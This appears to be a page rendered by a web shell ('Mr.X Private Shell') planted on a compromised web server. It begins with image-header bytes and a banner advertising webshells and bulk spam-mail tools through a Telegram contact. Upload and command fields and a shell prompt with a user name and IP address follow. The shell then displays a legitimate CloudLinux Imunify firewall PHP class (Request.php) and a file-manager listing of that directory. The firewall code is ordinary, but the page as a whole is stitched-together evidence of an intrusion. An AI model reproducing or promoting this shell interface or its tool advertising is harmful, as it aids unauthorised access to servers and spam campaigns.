����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
<?php
/**
 * Copyright (с) Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2025 All Rights Reserved
 *
 * Licensed under CLOUD LINUX LICENSE AGREEMENT
 * https://www.cloudlinux.com/legal/
 */

namespace CloudLinux\Imunify\App\Defender;

/**
 * Request class for handling HTTP request data.
 *
 * Provides a clean abstraction over global variables like $_SERVER, $_GET, $_POST, etc.
 * This makes the code more testable and provides a consistent interface.
 *
 * @since 2.1.0
 */
class Request {

	const MAX_KEY_DEPTH = 5;
	const MAX_KEY_COUNT = 200;

	/**
	 * Request method.
	 *
	 * @var string
	 */
	private $method;

	/**
	 * Server variables.
	 *
	 * @var array
	 */
	private $server;

	/**
	 * GET parameters.
	 *
	 * @var array
	 */
	private $get;

	/**
	 * POST parameters.
	 *
	 * @var array
	 */
	private $post;

	/**
	 * Cookies.
	 *
	 * @var array
	 */
	private $cookies;

	/**
	 * File uploads.
	 *
	 * @var array
	 */
	private $files;

	/**
	 * Constructor.
	 *
	 * @param array $server  Server variables (defaults to $_SERVER).
	 * @param array $get     GET parameters (defaults to $_GET).
	 * @param array $post    POST parameters (defaults to $_POST).
	 * @param array $cookies Cookies (defaults to $_COOKIE).
	 * @param array $files   File uploads (defaults to $_FILES).
	 */
	public function __construct( $server = null, $get = null, $post = null, $cookies = null, $files = null ) {
		// phpcs:disable WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Recommended
		$this->server  = null !== $server ? $server : $_SERVER;
		$this->get     = null !== $get ? $get : $_GET;
		$this->post    = null !== $post ? $post : $_POST;
		$this->cookies = null !== $cookies ? $cookies : $_COOKIE;
		$this->files   = null !== $files ? $files : $_FILES;
		// phpcs:enable WordPress.Security.NonceVerification.Missing,WordPress.Security.NonceVerification.Recommended

		// Extract method before parsing JSON body so that a JSON _method key
		// cannot override the real HTTP method detected from $_POST/_SERVER.
		$this->method = $this->extractMethod( $this->server );

		if ( empty( $this->post ) ) {
			$this->maybeParseJsonBody();
		}
	}

	/**
	 * Parse JSON request body into $this->post when $_POST is empty.
	 *
	 * PHP only populates $_POST for application/x-www-form-urlencoded and
	 * multipart/form-data. For application/json requests (used by WordPress
	 * REST API), $_POST is empty and the body is only available via
	 * php://input. This method bridges that gap so ARGS:field conditions
	 * work on JSON request bodies.
	 *
	 * Guards:
	 * - Only runs when $_POST is empty (avoids double-parsing form submissions).
	 * - Only for application/json content type.
	 * - Caps raw input at 1 MB.
	 * - Rejects non-array decoded results.
	 *
	 * @since 3.0.2
	 */
	private function maybeParseJsonBody() {
		$content_type = isset( $this->server['CONTENT_TYPE'] )
			? $this->server['CONTENT_TYPE']
			: ( isset( $this->server['HTTP_CONTENT_TYPE'] ) ? $this->server['HTTP_CONTENT_TYPE'] : '' );

		$parts     = explode( ';', $content_type, 2 );
		$mime_type = strtolower( trim( $parts[0] ) );
		if ( 'application/json' !== $mime_type ) {
			return;
		}

		// phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents -- reading php://input stream, not a filesystem file.
		$raw = $this->readInput( 1048576 );
		if ( empty( $raw ) ) {
			return;
		}

		// Note: on PHP 5.6, json_decode() may return null without setting
		// json_last_error() when the depth limit is exceeded. The is_array()
		// guard below handles this correctly — null fails the check.
		$decoded = json_decode( $raw, true, 64 );
		if ( is_array( $decoded ) && ! empty( $decoded ) ) {
			$this->post = $decoded;
		}
	}

	/**
	 * Read raw request body from php://input.
	 *
	 * Extracted as a method so unit tests can override the input source
	 * without requiring a real php://input stream.
	 *
	 * @since 3.0.2
	 *
	 * @param int $max_length Maximum bytes to read.
	 *
	 * @return string|false Raw body content, or false on failure.
	 */
	protected function readInput( $max_length ) {
		// phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents -- reading php://input stream.
		return file_get_contents( 'php://input', false, null, 0, $max_length );
	}

	/**
	 * Get the request method.
	 *
	 * @return string The HTTP method (GET, POST, PUT, DELETE, etc.).
	 */
	public function getMethod() {
		return $this->method;
	}

	/**
	 * Check if the request method matches the given method.
	 *
	 * @param string $method The method to check against.
	 *
	 * @return bool True if the request method matches, false otherwise.
	 */
	public function isMethod( $method ) {
		return strtolower( $this->method ) === strtolower( $method );
	}

	/**
	 * Get a GET parameter.
	 *
	 * @param string $key     The parameter key.
	 * @param mixed  $default Default value if the parameter doesn't exist.
	 *
	 * @return mixed The parameter value or default.
	 */
	public function get( $key, $default = null ) {
		return isset( $this->get[ $key ] ) ? $this->get[ $key ] : $default;
	}

	/**
	 * Check if a GET parameter exists.
	 *
	 * @param string $key The parameter key.
	 *
	 * @return bool True if the parameter exists, false otherwise.
	 */
	public function hasGet( $key ) {
		return isset( $this->get[ $key ] );
	}

	/**
	 * Get a POST parameter.
	 *
	 * @param string $key     The parameter key.
	 * @param mixed  $default Default value if the parameter doesn't exist.
	 *
	 * @return mixed The parameter value or default.
	 */
	public function post( $key, $default = null ) {
		return isset( $this->post[ $key ] ) ? $this->post[ $key ] : $default;
	}

	/**
	 * Check if a POST parameter exists.
	 *
	 * @param string $key The parameter key.
	 *
	 * @return bool True if the parameter exists, false otherwise.
	 */
	public function hasPost( $key ) {
		return isset( $this->post[ $key ] );
	}

	/**
	 * Get a cookie.
	 *
	 * @param string $key     The cookie key.
	 * @param mixed  $default Default value if the cookie doesn't exist.
	 *
	 * @return mixed The cookie value or default.
	 */
	public function cookie( $key, $default = null ) {
		return isset( $this->cookies[ $key ] ) ? $this->cookies[ $key ] : $default;
	}

	/**
	 * Check if a cookie exists.
	 *
	 * @param string $key The cookie key.
	 *
	 * @return bool True if the cookie exists, false otherwise.
	 */
	public function hasCookie( $key ) {
		return isset( $this->cookies[ $key ] );
	}

	/**
	 * Get all GET parameters.
	 *
	 * @return array All GET parameters.
	 */
	public function getAllGet() {
		return $this->get;
	}

	/**
	 * Get all POST parameters.
	 *
	 * @return array All POST parameters.
	 */
	public function getAllPost() {
		return $this->post;
	}

	/**
	 * Get all GET and POST parameters merged.
	 *
	 * POST values take precedence over GET when keys overlap.
	 *
	 * @since 3.0.0
	 *
	 * @return array All GET and POST parameters.
	 */
	public function getAllArgs() {
		return array_merge( $this->get, $this->post );
	}

	/**
	 * Check if any GET or POST parameters exist.
	 *
	 * @since 3.0.2
	 *
	 * @return bool True if at least one parameter exists.
	 */
	public function hasAnyArgs() {
		return ! empty( $this->get ) || ! empty( $this->post );
	}

	/**
	 * Get all cookies.
	 *
	 * @return array All cookies.
	 */
	public function getAllCookies() {
		return $this->cookies;
	}

	/**
	 * Get all file uploads.
	 *
	 * @return array All file uploads.
	 */
	public function getAllFiles() {
		return $this->files;
	}

	/**
	 * Get all server variables.
	 *
	 * @return array All server variables.
	 */
	public function getAllServer() {
		return $this->server;
	}

	/**
	 * Get the request URI.
	 *
	 * @return string The request URI.
	 */
	public function getUri() {
		return isset( $this->server['REQUEST_URI'] ) ? $this->server['REQUEST_URI'] : '';
	}

	/**
	 * Check if a file upload exists.
	 *
	 * @param string $key The file key.
	 *
	 * @return bool True if the file exists, false otherwise.
	 */
	public function hasFile( $key ) {
		return isset( $this->files[ $key ] ) && ! empty( $this->files[ $key ]['name'] );
	}

	/**
	 * Get a file upload.
	 *
	 * @param string $key The file key.
	 *
	 * @return array|null The file data or null if not found.
	 */
	public function getFile( $key ) {
		return isset( $this->files[ $key ] ) ? $this->files[ $key ] : null;
	}

	/**
	 * Get the original filename of an uploaded file.
	 *
	 * @since 3.0.2
	 *
	 * @param string $key The file field name.
	 *
	 * @return string|null Original filename, or null if not found.
	 */
	public function getFileName( $key ) {
		$file = $this->getFile( $key );
		if ( ! isset( $file['name'] ) ) {
			return null;
		}
		// Strip null bytes that could cause regex matching to silently truncate.
		return str_replace( "\0", '', $file['name'] );
	}

	/**
	 * Get the client-provided MIME type of an uploaded file.
	 *
	 * WARNING: This value comes directly from $_FILES['type'] and is trivially
	 * spoofable by the client. WAF rules should use :name as the primary gate
	 * and treat :type only as a supplementary signal.
	 *
	 * @since 3.0.2
	 *
	 * @param string $key The file field name.
	 *
	 * @return string|null MIME type, or null if not found.
	 */
	public function getFileType( $key ) {
		$file = $this->getFile( $key );
		if ( ! isset( $file['type'] ) ) {
			return null;
		}
		// Strip null bytes that could cause regex matching to silently truncate.
		return str_replace( "\0", '', $file['type'] );
	}

	/**
	 * Read the first N bytes of an uploaded file's content.
	 *
	 * Validates that the file was genuinely uploaded via HTTP POST
	 * before reading, to prevent path-traversal attacks.
	 *
	 * @since 3.0.2
	 *
	 * @param string $key   The file field name.
	 * @param int    $limit Max bytes to read (default 8192).
	 *
	 * @return string|null File content, or null if not found/unreadable.
	 */
	public function getFileContent( $key, $limit = 8192 ) {
		$file = $this->getFile( $key );
		if ( ! isset( $file['tmp_name'] ) ) {
			return null;
		}

		if ( isset( $file['error'] ) && UPLOAD_ERR_OK !== (int) $file['error'] ) {
			return null;
		}

		$tmpPath = $file['tmp_name'];
		if ( ! $this->isUploadedFile( $tmpPath ) ) {
			return null;
		}
		// phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_fopen -- reading uploaded temp file, not a WP filesystem operation.
		$fh = fopen( $tmpPath, 'rb' );
		if ( false === $fh ) {
			return null;
		}
		// phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_fread -- reading uploaded temp file.
		$content = fread( $fh, $limit );
		// phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_read_fclose -- reading uploaded temp file.
		fclose( $fh );

		if ( false === $content ) {
			return null;
		}

		return $content;
	}

	/**
	 * Check whether a file path points to a genuinely uploaded file.
	 *
	 * Wraps is_uploaded_file() so that unit tests can override this
	 * method to allow reading non-uploaded temp files.
	 *
	 * @since 3.0.2
	 *
	 * @param string $path Temporary file path.
	 *
	 * @return bool True if the file was uploaded via HTTP POST.
	 */
	protected function isUploadedFile( $path ) {
		return is_uploaded_file( $path );
	}

	/**
	 * Resolve a nested GET parameter value using bracket-path segments.
	 *
	 * Navigates $this->get[$rootKey][$path[0]][$path[1]]... to the leaf value.
	 *
	 * @since 3.0.0
	 *
	 * @param string $rootKey Root parameter key.
	 * @param array  $path    Array of bracket-path segments.
	 *
	 * @return mixed|null The leaf value, or null if the path doesn't exist.
	 */
	public function resolveNestedGet( $rootKey, array $path ) {
		return self::resolveNestedPath( $this->get, $rootKey, $path );
	}

	/**
	 * Resolve a nested POST parameter value using bracket-path segments.
	 *
	 * Navigates $this->post[$rootKey][$path[0]][$path[1]]... to the leaf value.
	 *
	 * @since 3.0.0
	 *
	 * @param string $rootKey Root parameter key.
	 * @param array  $path    Array of bracket-path segments.
	 *
	 * @return mixed|null The leaf value, or null if the path doesn't exist.
	 */
	public function resolveNestedPost( $rootKey, array $path ) {
		return self::resolveNestedPath( $this->post, $rootKey, $path );
	}

	/**
	 * Navigate a nested array by root key and path segments.
	 *
	 * @since 3.0.0
	 *
	 * @param array  $data    The source array ($_GET or $_POST).
	 * @param string $rootKey Root key in $data.
	 * @param array  $path    Ordered path segments to traverse.
	 *
	 * @return mixed|null The leaf value, or null if any segment is missing.
	 */
	private static function resolveNestedPath( array $data, $rootKey, array $path ) {
		if ( ! isset( $data[ $rootKey ] ) ) {
			return null;
		}

		$current = $data[ $rootKey ];

		foreach ( $path as $segment ) {
			if ( ! is_array( $current ) || ! isset( $current[ $segment ] ) ) {
				return null;
			}
			$current = $current[ $segment ];
		}

		return $current;
	}

	/**
	 * Recursively extract all leaf string values from a (possibly nested) array.
	 *
	 * Used for scan-all ARGS evaluation when parameter values may be PHP arrays
	 * produced by bracket-notation form fields (e.g., param[key]=val).
	 *
	 * @since 3.0.0
	 *
	 * @param array $data     The array to walk.
	 * @param int   $maxDepth Maximum recursion depth (default 5).
	 * @param int   $maxCount Maximum number of leaf values to return (default 100).
	 *
	 * @return string[] Flat array of leaf string values.
	 */
	public static function extractLeafValues( array $data, $maxDepth = 5, $maxCount = 100 ) {
		$leaves = array();
		self::walkLeaves( $data, $maxDepth, $maxCount, $leaves, 0 );
		return $leaves;
	}

	/**
	 * Recursive helper for extractLeafValues().
	 *
	 * @param array $data     Current array level.
	 * @param int   $maxDepth Maximum recursion depth.
	 * @param int   $maxCount Maximum leaf count.
	 * @param array $leaves   Collected leaves (passed by reference).
	 * @param int   $depth    Current depth.
	 */
	private static function walkLeaves( array $data, $maxDepth, $maxCount, array &$leaves, $depth ) {
		if ( $depth >= $maxDepth ) {
			return;
		}

		foreach ( $data as $value ) {
			if ( count( $leaves ) >= $maxCount ) {
				return;
			}

			if ( is_array( $value ) ) {
				self::walkLeaves( $value, $maxDepth, $maxCount, $leaves, $depth + 1 );
			} elseif ( is_string( $value ) ) {
				$leaves[] = $value;
			}
		}
	}

	/**
	 * Get all GET/POST parameter values whose names match a regex pattern.
	 *
	 * Used with ModSecurity-style field name regex (e.g., ARGS:/field_a|field_b/).
	 * POST parameters take precedence over GET when keys overlap.
	 *
	 * @since 3.0.0
	 *
	 * @param string $pattern Regex pattern to match against parameter names (without delimiters/anchors).
	 *
	 * @return array<string, mixed> Associative array of matching parameter name => value pairs.
	 */
	public function getMatchingArgs( $pattern ) {
		$regex = '#^(?:' . str_replace( '#', '\\#', $pattern ) . ')$#';

		// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged -- intentional; invalid regex must be silently skipped.
		if ( false === @preg_match( $regex, '' ) ) {
			return array();
		}

		$results = array();

		foreach ( $this->get as $key => $value ) {
			if ( is_string( $key ) && preg_match( $regex, $key ) ) {
				$results[ $key ] = $value;
			}
		}

		foreach ( $this->post as $key => $value ) {
			if ( is_string( $key ) && preg_match( $regex, $key ) ) {
				$results[ $key ] = $value;
			}
		}

		return $results;
	}

	/**
	 * Get all cookie values whose names match a regex pattern.
	 *
	 * @since 3.0.0
	 *
	 * @param string $pattern Regex pattern to match against cookie names (without delimiters/anchors).
	 *
	 * @return array<string, mixed> Associative array of matching cookie name => value pairs.
	 */
	public function getMatchingCookies( $pattern ) {
		$regex = '#^(?:' . str_replace( '#', '\\#', $pattern ) . ')$#';

		// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged -- intentional; invalid regex must be silently skipped.
		if ( false === @preg_match( $regex, '' ) ) {
			return array();
		}

		$results = array();

		foreach ( $this->cookies as $key => $value ) {
			if ( is_string( $key ) && preg_match( $regex, $key ) ) {
				$results[ $key ] = $value;
			}
		}

		return $results;
	}

	/**
	 * Get a request header.
	 *
	 * @param string $key The header key.
	 *
	 * @return string|null The header value or null if not found.
	 */
	public function getHeader( $key ) {
		$header_key = 'HTTP_' . strtoupper( str_replace( '-', '_', $key ) );
		return isset( $this->server[ $header_key ] ) ? $this->server[ $header_key ] : null;
	}

	/**
	 * Check if a request header exists.
	 *
	 * @since 3.0.0
	 *
	 * @param string $key The header key (e.g. 'User-Agent', 'X-Custom').
	 *
	 * @return bool True if the header exists, false otherwise.
	 */
	public function hasHeader( $key ) {
		return null !== $this->getHeader( $key );
	}

	/**
	 * Get all header values whose names match a regex pattern.
	 *
	 * PHP normalises header names to HTTP_UPPER_CASE in $_SERVER, so this
	 * method converts them back to Title-Case (e.g. HTTP_USER_AGENT → User-Agent)
	 * and applies a case-insensitive regex match because HTTP header names are
	 * case-insensitive per RFC 7230.
	 *
	 * @since 3.0.0
	 *
	 * @param string $pattern Regex pattern to match against header names (without delimiters/anchors).
	 *
	 * @return array<string, string> Associative array of matching header name => value pairs.
	 */
	public function getMatchingHeaders( $pattern ) {
		$regex = '#^(?:' . str_replace( '#', '\\#', $pattern ) . ')$#i';

		// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged -- intentional; invalid regex must be silently skipped.
		if ( false === @preg_match( $regex, '' ) ) {
			return array();
		}

		$results = array();

		foreach ( $this->server as $key => $value ) {
			if ( 0 !== strpos( $key, 'HTTP_' ) || ! is_string( $value ) ) {
				continue;
			}
			$headerName = str_replace( ' ', '-', ucwords( strtolower( str_replace( '_', ' ', substr( $key, 5 ) ) ) ) );
			if ( preg_match( $regex, $headerName ) ) {
				$results[ $headerName ] = $value;
			}
		}

		return $results;
	}

	/**
	 * Get all HTTP request headers as an associative array.
	 *
	 * Extracts headers from $_SERVER entries with HTTP_ prefix and
	 * returns them with normalised Title-Case names.
	 *
	 * @since 3.0.0
	 *
	 * @return array<string, string> Header name => value pairs.
	 */
	public function getAllHeaders() {
		$headers = array();

		foreach ( $this->server as $key => $value ) {
			if ( 0 !== strpos( $key, 'HTTP_' ) || ! is_string( $value ) ) {
				continue;
			}
			$headerName             = str_replace( ' ', '-', ucwords( strtolower( str_replace( '_', ' ', substr( $key, 5 ) ) ) ) );
			$headers[ $headerName ] = $value;
		}

		return $headers;
	}

	/**
	 * Get all parameter key names from GET and POST as a flat list.
	 *
	 * Recursively flattens nested arrays into bracket-path keys matching
	 * PHP's $_POST structure (e.g., param[key][subkey]).
	 *
	 * @since 3.0.2
	 *
	 * @return string[] Unique array of all parameter key names.
	 */
	public function getArgNames() {
		$keys = array();
		$this->collectKeys( $this->get, '', $keys );
		$this->collectKeys( $this->post, '', $keys );
		return array_values( array_unique( $keys ) );
	}

	/**
	 * Recursively collect all array keys as bracket-path strings.
	 *
	 * @since 3.0.2
	 *
	 * @param array  $arr    Array to walk.
	 * @param string $prefix Current bracket-path prefix.
	 * @param array  $keys   Collected keys (passed by reference).
	 * @param int    $depth  Current recursion depth.
	 */
	private function collectKeys( $arr, $prefix, &$keys, $depth = 0 ) {
		if ( ! is_array( $arr ) || $depth >= self::MAX_KEY_DEPTH || count( $keys ) >= self::MAX_KEY_COUNT ) {
			return;
		}
		foreach ( $arr as $k => $v ) {
			if ( count( $keys ) >= self::MAX_KEY_COUNT ) {
				return;
			}
			$full   = '' === $prefix ? (string) $k : $prefix . '[' . $k . ']';
			$keys[] = $full;
			if ( is_array( $v ) ) {
				$this->collectKeys( $v, $full, $keys, $depth + 1 );
			}
		}
	}

	/**
	 * Extract the request method from server variables.
	 *
	 * @param array $server Server variables.
	 *
	 * @return string The HTTP method.
	 */
	private function extractMethod( $server ) {
		// Check for X-HTTP-METHOD-OVERRIDE header (used by some frameworks).
		if ( isset( $server['HTTP_X_HTTP_METHOD_OVERRIDE'] ) ) {
			return $server['HTTP_X_HTTP_METHOD_OVERRIDE'];
		}

		// Check for _method parameter (used by some frameworks).
		if ( isset( $this->post['_method'] ) ) {
			return $this->post['_method'];
		}

		// Check for the standard REQUEST_METHOD.
		if ( isset( $server['REQUEST_METHOD'] ) ) {
			return $server['REQUEST_METHOD'];
		}

		// Default to GET if no method is found.
		return 'GET';
	}
}

Filemanager

Name Type Size Permission Actions
Handler Folder 0755
Model Folder 0755
Probe Folder 0755
.htaccess File 0 B 0644
CachedFileProvider.php File 2.56 KB 0644
ChangelogWriter.php File 3.44 KB 0644
ConditionEvaluator.php File 12.67 KB 0644
ConditionMatcher.php File 20.04 KB 0644
Defender.php File 3.66 KB 0644
DisabledRulesManager.php File 6.88 KB 0644
IncidentRecorder.php File 11.94 KB 0644
RateLimiter.php File 3.08 KB 0644
Request.php File 20.37 KB 0644
RuleHitTracker.php File 4.92 KB 0644
RuleProvider.php File 15.63 KB 0644
ValueResolver.php File 13.76 KB 0644